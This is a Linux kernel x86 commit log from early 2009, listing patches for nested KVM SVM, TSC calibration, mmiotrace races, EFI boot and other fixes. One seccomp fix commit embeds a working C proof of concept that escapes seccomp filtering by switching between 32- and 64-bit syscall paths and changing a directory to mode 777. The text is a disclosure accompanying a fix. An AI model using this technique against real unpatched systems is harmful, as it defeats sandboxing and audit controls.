Commit graph

5863 commits

Author SHA1 Message Date
Alexander Graf
cf74a78b22 KVM: SVM: Add VMEXIT handler and intercepts
This adds the #VMEXIT intercept, so we return to the level 1 guest
when something happens in the level 2 guest that should return to
the level 1 guest.

v2 implements HIF handling and cleans up exception interception
v3 adds support for V_INTR_MASKING_MASK
v4 uses the host page hsave
v5 removes IOPM merging code
v6 moves mmu code out of the atomic section

Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24 11:02:47 +02:00
Alexander Graf
3d6368ef58 KVM: SVM: Add VMRUN handler
This patch implements VMRUN. VMRUN enters a virtual CPU and runs that
in the same context as the normal guest CPU would run.
So basically it is implemented the same way, a normal CPU would do it.

We also prepare all intercepts that get OR'ed with the original
intercepts, as we do not allow a level 2 guest to be intercepted less
than the first level guest.

v2 implements the following improvements:

- fixes the CPL check
- does not allocate iopm when not used
- remembers the host's IF in the HIF bit in the hflags

v3:

- make use of the new permission checking
- add support for V_INTR_MASKING_MASK

v4:

- use host page backed hsave

v5:

- remove IOPM merging code

v6:

- save cr4 so PAE l1 guests work

v7:

- return 0 on vmrun so we check the MSRs too
- fix MSR check to use the correct variable

Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24 11:02:47 +02:00
Alexander Graf
5542675baa KVM: SVM: Add VMLOAD and VMSAVE handlers
This implements the VMLOAD and VMSAVE instructions, that usually surround
the VMRUN instructions. Both instructions load / restore the same elements,
so we only need to implement them once.

v2 fixes CPL checking and replaces memcpy by assignments
v3 makes use of the new permission checking

Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24 11:02:47 +02:00
Alexander Graf
b286d5d8b0 KVM: SVM: Implement hsave
Implement the hsave MSR, that gives the VCPU a GPA to save the
old guest state in.

v2 allows userspace to save/restore hsave
v4 dummys out the hsave MSR, so we use a host page
v6 remembers the guest's hsave and exports the MSR

Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24 11:02:46 +02:00
Alexander Graf
1371d90460 KVM: SVM: Implement GIF, clgi and stgi
This patch implements the GIF flag and the clgi and stgi instructions that
set this flag. Only if the flag is set (default), interrupts can be received by
the CPU.

To keep the information about that somewhere, this patch adds a new hidden
flags vector. that is used to store information that does not go into the
vmcb, but is SVM specific.

I tried to write some code to make -no-kvm-irqchip work too, but the first
level guest won't even boot with that atm, so I ditched it.

v2 moves the hflags to x86 generic code
v3 makes use of the new permission helper
v6 only enables interrupt_window if GIF=1

Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24 11:02:46 +02:00
Alexander Graf
c0725420cf KVM: SVM: Add helper functions for nested SVM
These are helpers for the nested SVM implementation.

- nsvm_printk implements a debug printk variant
- nested_svm_do calls a handler that can accesses gpa-based memory

v3 makes use of the new permission checker
v6 changes:
- streamline nsvm_debug()
- remove printk(KERN_ERR)
- SVME check before CPL check
- give GP error code
- use new EFER constant

Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24 11:02:46 +02:00
Alexander Graf
9962d032bb KVM: SVM: Move EFER and MSR constants to generic x86 code
MSR_EFER_SVME_MASK, MSR_VM_CR and MSR_VM_HSAVE_PA are set in KVM
specific headers. Linux does have nice header files to collect
EFER bits and MSR IDs, so IMHO we should put them there.

While at it, I also changed the naming scheme to match that
of the other defines.

(introduced in v6)

Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24 11:02:46 +02:00
Alexander Graf
f0b85051d0 KVM: SVM: Clean up VINTR setting
The current VINTR intercept setters don't look clean to me. To make
the code easier to read and enable the possibilty to trap on a VINTR
set, this uses a helper function to set the VINTR intercept.

v2 uses two distinct functions for setting and clearing the bit

Acked-by: Joerg Roedel <joro@8bytes.org>
Signed-off-by: Alexander Graf <agraf@suse.de>
Signed-off-by: Avi Kivity <avi@redhat.com>
2009-03-24 11:02:45 +02:00
Masami Hiramatsu
30390880de prevent boosting kprobes on exception address
Don't boost at the addresses which are listed on exception tables,
because major page fault will occur on those addresses.  In that case,
kprobes can not ensure that when instruction buffer can be freed since
some processes will sleep on the buffer.

kprobes-ia64 already has same check.

Signed-off-by: Masami Hiramatsu <mhiramat@redhat.com>
Cc: Ananth N Mavinakayanahalli <ananth@in.ibm.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-17 09:11:48 -07:00
Linus Torvalds
9e8912e04e Fast TSC calibration: calculate proper frequency error bounds
In order for ntpd to correctly synchronize the clocks, the frequency of
the system clock must not be off by more than 500 ppm (or, put another
way, 1:2000), or ntpd will end up giving up on trying to synchronize
properly, and ends up reseting the clock in jumps instead.

The fast TSC PIT calibration sometimes failed this test - it was
assuming that the PIT reads always took about one microsecond each (2us
for the two reads to get a 16-bit timer), and that calibrating TSC to
the PIT over 15ms should thus be sufficient to get much closer than
500ppm (max 2us error on both sides giving 4us over 15ms: a 270 ppm
error value).

However, that assumption does not always hold: apparently some hardware
is either very much slower at reading the PIT registers, or there was
other noise causing at least one machine to get 700+ ppm errors.

So instead of using a fixed 15ms timing loop, this changes the fast PIT
calibration to read the TSC delta over the individual PIT timer reads,
and use the result to calculate the error bars on the PIT read timing
properly.  We then successfully calibrate the TSC only if the maximum
error bars fall below 500ppm.

In the process, we also relax the timing to allow up to 25ms for the
calibration, although it can happen much faster depending on hardware.

Reported-and-tested-by: Jesper Krogh <jesper@krogh.cc>
Cc: john stultz <johnstul@us.ibm.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Acked-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-17 08:13:17 -07:00
Linus Torvalds
a6a80e1d8c Fix potential fast PIT TSC calibration startup glitch
During bootup, when we reprogram the PIT (programmable interval timer)
to start counting down from 0xffff in order to use it for the fast TSC
calibration, we should also make sure to delay a bit afterwards to allow
the PIT hardware to actually start counting with the new value.

That will happens at the next CLK pulse (1.193182 MHz), so the easiest
way to do that is to just wait at least one microsecond after
programming the new PIT counter value.  We do that by just reading the
counter value back once - which will take about 2us on PC hardware.

Reported-and-tested-by: john stultz <johnstul@us.ibm.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-17 07:58:26 -07:00
Ingo Molnar
211b3d03c7 x86: work around Fedora-11 x86-32 kernel failures on Intel Atom CPUs
Impact: work around boot crash

Work around Intel Atom erratum AAH41 (probabilistically) - it's triggering
in the field.

Reported-by: Linus Torvalds <torvalds@linux-foundation.org>
Tested-by: Kyle McMartin <kyle@redhat.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-11 18:22:03 +01:00
Linus Torvalds
1abaf3326b Merge branch 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  x86 mmiotrace: fix remove_kmmio_fault_pages()
2009-03-10 12:03:30 -07:00
Linus Torvalds
99adcd9d67 Merge branch 'fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/davej/cpufreq
* 'fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/davej/cpufreq:
  [CPUFREQ] Add p4-clockmod sysfs-ui removal to feature-removal schedule.
  Revert "[CPUFREQ] Disable sysfs ui for p4-clockmod."
2009-03-09 13:23:59 -07:00
Dave Jones
129f8ae9b1 Revert "[CPUFREQ] Disable sysfs ui for p4-clockmod."
This reverts commit e088e4c9cd.

Removing the sysfs interface for p4-clockmod was flagged as a
regression in bug 12826.

Course of action:
 - Find out the remaining causes of overheating, and fix them
   if possible. ACPI should be doing the right thing automatically.
   If it isn't, we need to fix that.
 - mark p4-clockmod ui as deprecated
 - try again with the removal in six months.

It's not really feasible to printk about the deprecation, because
it needs to happen at all the sysfs entry points, which means adding
a lot of strcmp("p4-clockmod".. calls to the core, which.. bleuch.

Signed-off-by: Dave Jones <davej@redhat.com>
2009-03-09 15:07:33 -04:00
Rusty Russell
6db6a5f3ae lguest: fix for CONFIG_SPARSE_IRQ=y
Impact: remove lots of lguest boot WARN_ON() when CONFIG_SPARSE_IRQ=y

We now need to call irq_to_desc_alloc_cpu() before
set_irq_chip_and_handler_name(), but we can't do that from init_IRQ (no
kmalloc available).

So do it as we use interrupts instead.  Also means we only alloc for
irqs we use, which was the intent of CONFIG_SPARSE_IRQ anyway.

Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Cc: Ingo Molnar <mingo@redhat.com>
2009-03-09 10:06:29 +10:30
Rusty Russell
cbd88c8e6f lguest: fix crash 'unhandled trap 13 at <native_read_msr_safe>'
Impact: fix lguest boot crash on modern Intel machines

The code in early_init_intel does:

	if (c->x86 > 6 || (c->x86 == 6 && c->x86_model >= 0xd)) {
		u64 misc_enable;

		rdmsrl(MSR_IA32_MISC_ENABLE, misc_enable);

And that rdmsr faults (not allowed from non-0 PL).  We can get around
this by mugging the family ID part of the cpuid.  5 seems like a good
number.

Of course, this is a hack (how very lguest!).  We could just indicate
that we don't support MSRs, or implement lguest_rdmst.

Reported-by: Patrick McHardy <kaber@trash.net>
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Tested-by: Patrick McHardy <kaber@trash.net>
2009-03-09 10:06:28 +10:30
Stuart Bennett
d0fc63f7bd x86 mmiotrace: fix remove_kmmio_fault_pages()
Impact: fix race+crash in mmiotrace

The list manipulation in remove_kmmio_fault_pages() was broken. If more
than one consecutive kmmio_fault_page was re-added during the grace
period between unregister_kmmio_probe() and remove_kmmio_fault_pages(),
the list manipulation failed to remove pages from the release list.

After a second grace period the pages get into rcu_free_kmmio_fault_pages()
and raise a BUG_ON() kernel crash.

The list manipulation is fixed to properly remove pages from the release
list.

This bug has been present from the very beginning of mmiotrace in the
mainline kernel. It was introduced in 0fd0e3da ("x86: mmiotrace full
patch, preview 1");

An urgent fix for Linus. Tested by Stuart (on 32-bit) and Pekka
(on amd and intel 64-bit systems, nouveau and nvidia proprietary).

Signed-off-by: Stuart Bennett <stuart@freedesktop.org>
Signed-off-by: Pekka Paalanen <pq@iki.fi>
LKML-Reference: <20090308202135.34933feb@daedalus.pq.iki.fi>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-08 19:51:23 +01:00
Markus Metzger
73bf1b62f5 x86, pebs: correct qualifier passed to ds_write_config() from ds_request_pebs()
ds_write_config() can write the BTS as well as the PEBS part of
the DS config. ds_request_pebs() passes the wrong qualifier, which
results in the wrong configuration to be written.

Reported-by: Stephane Eranian <eranian@googlemail.com>
Signed-off-by: Markus Metzger <markus.t.metzger@intel.com>
LKML-Reference: <20090305085721.A22550@sedona.ch.intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-06 16:13:15 +01:00
Markus Metzger
9ca0791dca x86, bts: remove bad warning
In case a ptraced task is reaped (while the tracer is still attached),
ds_exit_thread() is called before ptrace_exit(). The latter will
release the bts_tracer and remove the thread's ds_ctx.
The former will WARN() if the context is not NULL.

Oleg Nesterov submitted patches that move ptrace_exit() before
exit_thread() and thus reverse the order of the above calls.

Remove the bad warning. I will add it again when Oleg's changes are in.

Signed-off-by: Markus Metzger <markus.t.metzger@intel.com>
LKML-Reference: <20090305084954.A22000@sedona.ch.intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-06 16:13:15 +01:00
Leann Ogasawara
dd4124a8a0 x86: add Dell XPS710 reboot quirk
Dell XPS710 will hang on reboot.  This is resolved by adding a quirk to
set bios reboot.

Signed-off-by: Leann Ogasawara <leann.ogasawara@canonical.com>
Signed-off-by: Tim Gardner <tim.gardner@canonical.com>
Cc: "manoj.iyer" <manoj.iyer@canonical.com>
Cc: <stable@kernel.org>
LKML-Reference: <1236196380.3231.89.camel@emiko>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-04 20:56:15 +01:00
Daniel Glöckner
ab9e18587f x86, math-emu: fix init_fpu for task != current
Impact: fix math-emu related crash while using GDB/ptrace

init_fpu() calls finit to initialize a task's xstate, while finit always
works on the current task. If we use PTRACE_GETFPREGS on another
process and both processes did not already use floating point, we get
a null pointer exception in finit.

This patch creates a new function finit_task that takes a task_struct
parameter. finit becomes a wrapper that simply calls finit_task with
current. On the plus side this avoids many calls to get_current which
would each resolve to an inline assembler mov instruction.

An empty finit_task has been added to i387.h to avoid linker errors in
case the compiler still emits the call in init_fpu when
CONFIG_MATH_EMULATION is not defined.

The declaration of finit in i387.h has been removed as the remaining
code using this function gets its prototype from fpu_proto.h.

Signed-off-by: Daniel Glöckner <dg@emlix.com>
Cc: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: "Pallipadi Venkatesh" <venkatesh.pallipadi@intel.com>
Cc: Arjan van de Ven <arjan@infradead.org>
Cc: Bill Metzenthen <billm@melbpc.org.au>
LKML-Reference: <E1Lew31-0004il-Fg@mailer.emlix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-04 20:33:16 +01:00
Huang Ying
dd39ecf522 x86: EFI: Back efi_ioremap with init_memory_mapping instead of FIX_MAP
Impact: Fix boot failure on EFI system with large runtime memory range

Brian Maly reported that some EFI system with large runtime memory
range can not boot. Because the FIX_MAP used to map runtime memory
range is smaller than run time memory range.

This patch fixes this issue by re-implement efi_ioremap() with
init_memory_mapping().

Reported-and-tested-by: Brian Maly <bmaly@redhat.com>
Signed-off-by: Huang Ying <ying.huang@intel.com>
Cc: Brian Maly <bmaly@redhat.com>
Cc: Yinghai Lu <yinghai@kernel.org>
LKML-Reference: <1236135513.6204.306.camel@yhuang-dev.sh.intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-04 19:20:16 +01:00
Brian Maly
ff0c087490 x86: fix DMI on EFI
Impact: reactivate DMI quirks on EFI hardware

DMI tables are loaded by EFI, so the dmi calls must happen after
efi_init() and not before.

Currently Apple hardware uses DMI to determine the framebuffer mappings
for efifb. Without DMI working you also have no video on MacBook Pro.

This patch resolves the DMI issue for EFI hardware (DMI is now properly
detected at boot), and additionally efifb now loads on Apple hardware
(i.e. video works).

Signed-off-by: Brian Maly <bmaly@redhat>
Acked-by: Yinghai Lu <yinghai@kernel.org>
Cc: ying.huang@intel.com
LKML-Reference: <49ADEDA3.1030406@redhat.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>

 arch/x86/kernel/setup.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)
2009-03-04 18:55:56 +01:00
Linus Torvalds
3024e4a997 Merge branch 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  x86: oprofile: don't set counter width from cpuid on Core2
  x86: fix init_memory_mapping() to handle small ranges
2009-03-03 14:32:55 -08:00
Linus Torvalds
f2a4165526 Merge branch 'tracing/mmiotrace' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
* 'tracing/mmiotrace' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  x86 mmiotrace: fix race with release_kmmio_fault_page()
  x86 mmiotrace: improve handling of secondary faults
  x86 mmiotrace: split set_page_presence()
  x86 mmiotrace: fix save/restore page table state
  x86 mmiotrace: WARN_ONCE if dis/arming a page fails
  x86: add far read test to testmmiotrace
  x86: count errors in testmmiotrace.ko
2009-03-03 14:32:37 -08:00
Tim Blechmann
780eef9492 x86: oprofile: don't set counter width from cpuid on Core2
Impact: fix stuck NMIs and non-working oprofile on certain CPUs

Resetting the counter width of the performance counters on Intel's
Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode.

This should fix bug #12395:

  http://bugzilla.kernel.org/show_bug.cgi?id=12395

Signed-off-by: Tim Blechmann <tim@klingt.org>
Signed-off-by: Robert Richter <robert.richter@amd.com>
LKML-Reference: <20090303100412.GC10085@erda.amd.com>
Cc: <stable@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-03 12:04:22 +01:00
Yinghai Lu
0fc59d3a01 x86: fix init_memory_mapping() to handle small ranges
Impact: fix failed EFI bootup in certain circumstances

Ying Huang found init_memory_mapping() has problem with small ranges
less than 2M when he tried to direct map the EFI runtime code out of
max_low_pfn_mapped.

It turns out we never considered that case and didn't check the range...

Reported-by: Ying Huang <ying.huang@intel.com>
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Brian Maly <bmaly@redhat.com>
LKML-Reference: <49ACDDED.1060508@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-03 08:50:22 +01:00
Linus Torvalds
2d44947a56 Merge branch 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
  fix warning in io_mapping_map_wc()
  x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()
2009-03-02 15:47:01 -08:00
Roland McGrath
5b1017404a x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:41:30 -08:00
Roland McGrath
ccbe495caa x86-64: syscall-audit: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases, audit_syscall_entry() will use the wrong system
call number table and the wrong system call argument registers.  This
could be used to circumvent a syscall audit configuration that filters
based on the syscall numbers or argument details.

Signed-off-by: Roland McGrath <roland@redhat.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:41:30 -08:00
Pekka Paalanen
340430c572 x86 mmiotrace: fix race with release_kmmio_fault_page()
There was a theoretical possibility to a race between arming a page in
post_kmmio_handler() and disarming the page in
release_kmmio_fault_page():

cpu0                             cpu1
------------------------------------------------------------------
mmiotrace shutdown
enter release_kmmio_fault_page
                                 fault on the page
                                 disarm the page
disarm the page
                                 handle the MMIO access
                                 re-arm the page
put the page on release list
remove_kmmio_fault_pages()
                                 fault on the page
                                 page not known to mmiotrace
                                 fall back to do_page_fault()
                                 *KABOOM*

(This scenario also shows the double disarm case which is allowed.)

Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking
if the page is being released from mmiotrace.

Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:37 +01:00
Stuart Bennett
3e39aa156a x86 mmiotrace: improve handling of secondary faults
Upgrade some kmmio.c debug messages to warnings.
Allow secondary faults on probed pages to fall through, and only log
secondary faults that are not due to non-present pages.

Patch edited by Pekka Paalanen.

Signed-off-by: Stuart Bennett <stuart@freedesktop.org>
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:37 +01:00
Pekka Paalanen
0b700a6a25 x86 mmiotrace: split set_page_presence()
From 36772dcb6ffbbb68254cbfc379a103acd2fbfefc Mon Sep 17 00:00:00 2001
From: Pekka Paalanen <pq@iki.fi>
Date: Sat, 28 Feb 2009 21:34:59 +0200

Split set_page_presence() in kmmio.c into two more functions set_pmd_presence()
and set_pte_presence(). Purely code reorganization, no functional changes.

Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:36 +01:00
Pekka Paalanen
5359b585fb x86 mmiotrace: fix save/restore page table state
From baa99e2b32449ec7bf147c234adfa444caecac8a Mon Sep 17 00:00:00 2001
From: Pekka Paalanen <pq@iki.fi>
Date: Sun, 22 Feb 2009 20:02:43 +0200

Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the
possibility, that the page was not present when it was armed.

Make arm_kmmio_fault_page() store the previous page presence in struct
kmmio_fault_page and use it on disarm.

This patch was originally written by Stuart Bennett, but Pekka Paalanen
rewrote it a little different.

Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:36 +01:00
Stuart Bennett
e9d54cae8f x86 mmiotrace: WARN_ONCE if dis/arming a page fails
Print a full warning once, if arming or disarming a page fails.

Also, if initial arming fails, do not handle the page further. This
avoids the possibility of a page failing to arm and then later claiming
to have handled any fault on that page.

WARN_ONCE added by Pekka Paalanen.

Signed-off-by: Stuart Bennett <stuart@freedesktop.org>
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:35 +01:00
Pekka Paalanen
5ff93697fc x86: add far read test to testmmiotrace
Apparently pages far into an ioremapped region might not actually be
mapped during ioremap(). Add an optional read test to try to trigger a
multiply faulting MMIO access. Also add more messages to the kernel log
to help debugging.

This patch is based on a patch suggested by
Stuart Bennett <stuart@freedesktop.org>
who discovered bugs in mmiotrace related to normal kernel space faults.

Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:35 +01:00
Pekka Paalanen
fab852aaf7 x86: count errors in testmmiotrace.ko
Check the read values against the written values in the MMIO read/write
test. This test shows if the given MMIO test area really works as
memory, which is a prerequisite for a successful mmiotrace test.

Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 10:20:34 +01:00
Ingo Molnar
92b9af9e4f x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()
Impact: build fix

Theodore Ts reported that the i915 driver needs these symbols:

 ERROR: "pgprot_writecombine" [drivers/gpu/drm/i915/i915.ko] undefined!
 ERROR: "is_io_mapping_possible" [drivers/gpu/drm/i915/i915.ko] undefined!

Reported-by: Theodore Ts'o <tytso@mit.edu> wrote:
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-28 14:22:44 +01:00
Kyle McMartin
f6be37fdc6 x86: enable DMAR by default
Now that the obvious bugs have been worked out, specifically
the iwlagn issue, and the write buffer errata, DMAR should be safe
to turn back on by default. (We've had it on since those patches were
first written a few weeks ago, without any noticeable bug reports
(most have been due to the dma-api debug patchset.))

Signed-off-by: Kyle McMartin <kyle@redhat.com>
Acked-by: David Woodhouse <David.Woodhouse@intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26 20:59:47 +01:00
Jeremy Fitzhardinge
55d8085671 xen: disable interrupts early, as start_kernel expects
This avoids a lockdep warning from:
	if (DEBUG_LOCKS_WARN_ON(unlikely(!early_boot_irqs_enabled)))
		return;
in trace_hardirqs_on_caller();

Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Cc: Mark McLoughlin <markmc@redhat.com>
Cc: Xen-devel <xen-devel@lists.xensource.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25 18:51:57 +01:00
Venkatesh Pallipadi
4ab0d47d0a gpu/drm, x86, PAT: io_mapping_create_wc and resource_size_t
io_mapping_create_wc should take a resource_size_t parameter in place of
unsigned long. With unsigned long, there will be no way to map greater than 4GB
address in i386/32 bit.

On x86, greater than 4GB addresses cannot be mapped on i386 without PAE. Return
error for such a case.

Patch also adds a structure for io_mapping, that saves the base, size and
type on HAVE_ATOMIC_IOMAP archs, that can be used to verify the offset on
io_mapping_map calls.

Signed-off-by: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: Dave Airlie <airlied@redhat.com>
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>
Cc: Eric Anholt <eric@anholt.net>
Cc: Keith Packard <keithp@keithp.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25 13:09:51 +01:00
James Bottomley
ddf9499b3d x86, Voyager: fix compile by lifting the degeneracy of phys_cpu_present_map
This was changed to a physmap_t giving a clashing symbol redefinition,
but actually using a physmap_t consumes rather a lot of space on x86,
so stick with a private copy renamed with a voyager_ prefix and made
static.  Nothing outside of the Voyager code uses it, anyway.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
2009-02-24 12:50:11 -08:00
Rafael J. Wysocki
770824bdc4 PM: Split up sysdev_[suspend|resume] from device_power_[down|up]
Move the sysdev_suspend/resume from the callee to the callers, with
no real change in semantics, so that we can rework the disabling of
interrupts during suspend/hibernation.

This is based on an earlier patch from Linus.

Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-22 10:33:44 -08:00
Linus Torvalds
936577c61d x86: Add IRQF_TIMER to legacy x86 timer interrupt descriptors
Right now nobody cares, but the suspend/resume code will eventually want
to suspend device interrupts without suspending the timer, and will
depend on this flag to know.

The modern x86 timer infrastructure uses the local APIC timers and never
shows up as a device interrupt at all, so it isn't affected and doesn't
need any of this.

Cc: Rafael J. Wysocki <rjw@sisk.pl>
Cc: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-22 10:27:49 -08:00
Jiri Slaby
6defa2fe20 x86_64: Fix S3 fail path
As acpi_enter_sleep_state can fail, take this into account in
do_suspend_lowlevel and don't return to the do_suspend_lowlevel's
caller. This would break (currently) fpu status and preempt count.

Technically, this means use `call' instead of `jmp' and `jmp' to
the `resume_point' after the `call' (i.e. if
acpi_enter_sleep_state returns=fails). `resume_point' will handle
the restore of fpu and preempt count gracefully.

Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl>
Signed-off-by: Len Brown <len.brown@intel.com>
2009-02-21 21:58:18 -05:00
Jiri Slaby
e6bd6760c9 x86_64: acpi/wakeup_64 cleanup
- remove %ds re-set, it's already set in wakeup_long64
- remove double labels and alignment (ENTRY already adds both)
- use meaningful resume point labelname
- skip alignment while jumping from wakeup_long64 to the resume point
- remove .size, .type and unused labels
[v2]
- added ENDPROCs

Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
